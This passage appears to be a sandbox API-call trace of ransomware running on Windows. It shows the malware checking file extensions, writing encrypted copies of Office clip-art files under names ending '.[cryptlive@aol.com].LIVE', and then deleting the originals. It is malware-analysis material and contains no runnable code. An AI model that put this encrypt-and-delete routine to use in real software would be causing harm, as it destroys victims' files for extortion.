[0156.270] lstrlenW (lpString=".1cd") returned 4 [0156.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0156.270] lstrlenW (lpString=".jpg") returned 4 [0156.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0156.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0156.270] lstrlenW (lpString=".doc") returned 4 [0156.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.271] lstrlenW (lpString=".docx") returned 5 [0156.271] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.271] lstrlenW (lpString=".pdf") returned 4 [0156.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.271] lstrlenW (lpString=".xls") returned 4 [0156.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.271] lstrlenW (lpString=".xlsx") returned 5 [0156.271] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.271] lstrlenW (lpString=".ppt") returned 4 [0156.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0156.271] lstrlenW (lpString=".zip") returned 4 [0156.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.271] lstrlenW (lpString=".rar") returned 4 [0156.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.271] lstrlenW (lpString=".bz2") returned 4 [0156.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.271] lstrlenW (lpString=".7z") returned 3 [0156.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0156.271] lstrlenW (lpString=".dbf") returned 4 [0156.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0156.271] lstrlenW (lpString=".1cd") returned 4 [0156.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0156.271] lstrlenW (lpString=".jpg") returned 4 [0156.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.271] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.271] lstrlenW (lpString="J0107452.WMF") returned 12 [0156.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.282] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=21216) returned 1 [0156.282] CloseHandle (hObject=0x314) returned 1 [0156.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf")) returned 0x20 [0156.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.282] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.282] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.283] GetLastError () returned 0x0 [0156.283] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x52e0, lpOverlapped=0x0) returned 1 [0156.287] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x52f0, lpOverlapped=0x0) returned 1 [0156.289] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.289] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.289] SetEndOfFile (hFile=0x3a0) returned 1 [0156.289] CloseHandle (hObject=0x3a0) returned 1 [0156.289] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.289] SetEndOfFile (hFile=0x314) returned 1 [0156.292] CloseHandle (hObject=0x314) returned 1 [0156.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf")) returned 1 [0156.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0156.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0156.293] lstrlenW (lpString=".doc") returned 4 [0156.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.294] lstrlenW (lpString=".docx") returned 5 [0156.294] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.294] lstrlenW (lpString=".pdf") returned 4 [0156.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.294] lstrlenW (lpString=".xls") returned 4 [0156.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.294] lstrlenW (lpString=".xlsx") returned 5 [0156.294] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.294] lstrlenW (lpString=".ppt") returned 4 [0156.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0156.294] lstrlenW (lpString=".zip") returned 4 [0156.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.294] lstrlenW (lpString=".rar") returned 4 [0156.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.294] lstrlenW (lpString=".bz2") returned 4 [0156.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.294] lstrlenW (lpString=".7z") returned 3 [0156.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0156.294] lstrlenW (lpString=".dbf") returned 4 [0156.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0156.294] lstrlenW (lpString=".1cd") returned 4 [0156.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0156.294] lstrlenW (lpString=".jpg") returned 4 [0156.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0156.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0156.294] lstrlenW (lpString=".doc") returned 4 [0156.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.294] lstrlenW (lpString=".docx") returned 5 [0156.295] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.295] lstrlenW (lpString=".pdf") returned 4 [0156.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.295] lstrlenW (lpString=".xls") returned 4 [0156.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.295] lstrlenW (lpString=".xlsx") returned 5 [0156.295] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.295] lstrlenW (lpString=".ppt") returned 4 [0156.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0156.295] lstrlenW (lpString=".zip") returned 4 [0156.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.295] lstrlenW (lpString=".rar") returned 4 [0156.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.295] lstrlenW (lpString=".bz2") returned 4 [0156.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.295] lstrlenW (lpString=".7z") returned 3 [0156.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0156.295] lstrlenW (lpString=".dbf") returned 4 [0156.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0156.295] lstrlenW (lpString=".1cd") returned 4 [0156.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0156.295] lstrlenW (lpString=".jpg") returned 4 [0156.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.295] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.295] lstrlenW (lpString="J0107456.WMF") returned 12 [0156.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.296] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3724) returned 1 [0156.296] CloseHandle (hObject=0x314) returned 1 [0156.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf")) returned 0x20 [0156.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.297] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.297] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.298] GetLastError () returned 0x0 [0156.298] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xe8c, lpOverlapped=0x0) returned 1 [0156.527] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xe90, lpOverlapped=0x0) returned 1 [0156.528] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.528] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.528] SetEndOfFile (hFile=0x3a0) returned 1 [0156.528] CloseHandle (hObject=0x3a0) returned 1 [0156.528] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.528] SetEndOfFile (hFile=0x314) returned 1 [0156.530] CloseHandle (hObject=0x314) returned 1 [0156.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf")) returned 1 [0156.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0156.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0156.568] lstrlenW (lpString=".doc") returned 4 [0156.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.568] lstrlenW (lpString=".docx") returned 5 [0156.568] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.568] lstrlenW (lpString=".pdf") returned 4 [0156.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.568] lstrlenW (lpString=".xls") returned 4 [0156.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.568] lstrlenW (lpString=".xlsx") returned 5 [0156.568] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.569] lstrlenW (lpString=".ppt") returned 4 [0156.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0156.569] lstrlenW (lpString=".zip") returned 4 [0156.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.569] lstrlenW (lpString=".rar") returned 4 [0156.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.569] lstrlenW (lpString=".bz2") returned 4 [0156.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.569] lstrlenW (lpString=".7z") returned 3 [0156.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0156.569] lstrlenW (lpString=".dbf") returned 4 [0156.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0156.569] lstrlenW (lpString=".1cd") returned 4 [0156.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0156.569] lstrlenW (lpString=".jpg") returned 4 [0156.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0156.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0156.569] lstrlenW (lpString=".doc") returned 4 [0156.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.569] lstrlenW (lpString=".docx") returned 5 [0156.569] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.569] lstrlenW (lpString=".pdf") returned 4 [0156.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.569] lstrlenW (lpString=".xls") returned 4 [0156.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.569] lstrlenW (lpString=".xlsx") returned 5 [0156.569] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.569] lstrlenW (lpString=".ppt") returned 4 [0156.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0156.569] lstrlenW (lpString=".zip") returned 4 [0156.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.570] lstrlenW (lpString=".rar") returned 4 [0156.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.570] lstrlenW (lpString=".bz2") returned 4 [0156.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.570] lstrlenW (lpString=".7z") returned 3 [0156.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0156.570] lstrlenW (lpString=".dbf") returned 4 [0156.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0156.570] lstrlenW (lpString=".1cd") returned 4 [0156.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0156.570] lstrlenW (lpString=".jpg") returned 4 [0156.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.570] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.570] lstrlenW (lpString="J0107488.WMF") returned 12 [0156.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.571] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8000) returned 1 [0156.571] CloseHandle (hObject=0x384) returned 1 [0156.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf")) returned 0x20 [0156.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0156.572] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.572] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.573] GetLastError () returned 0x0 [0156.573] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1f40, lpOverlapped=0x0) returned 1 [0156.574] WriteFile (in: hFile=0x350, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1f50, lpOverlapped=0x0) returned 1 [0156.575] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.575] WriteFile (in: hFile=0x350, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.575] SetEndOfFile (hFile=0x350) returned 1 [0156.576] CloseHandle (hObject=0x350) returned 1 [0156.576] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.576] SetEndOfFile (hFile=0x384) returned 1 [0156.578] CloseHandle (hObject=0x384) returned 1 [0156.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf")) returned 1 [0156.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0156.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0156.579] lstrlenW (lpString=".doc") returned 4 [0156.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.579] lstrlenW (lpString=".docx") returned 5 [0156.580] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.580] lstrlenW (lpString=".pdf") returned 4 [0156.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.580] lstrlenW (lpString=".xls") returned 4 [0156.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.580] lstrlenW (lpString=".xlsx") returned 5 [0156.580] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.580] lstrlenW (lpString=".ppt") returned 4 [0156.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0156.580] lstrlenW (lpString=".zip") returned 4 [0156.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.580] lstrlenW (lpString=".rar") returned 4 [0156.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.580] lstrlenW (lpString=".bz2") returned 4 [0156.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.580] lstrlenW (lpString=".7z") returned 3 [0156.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0156.580] lstrlenW (lpString=".dbf") returned 4 [0156.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0156.580] lstrlenW (lpString=".1cd") returned 4 [0156.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0156.580] lstrlenW (lpString=".jpg") returned 4 [0156.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0156.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0156.580] lstrlenW (lpString=".doc") returned 4 [0156.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.580] lstrlenW (lpString=".docx") returned 5 [0156.580] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.580] lstrlenW (lpString=".pdf") returned 4 [0156.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.580] 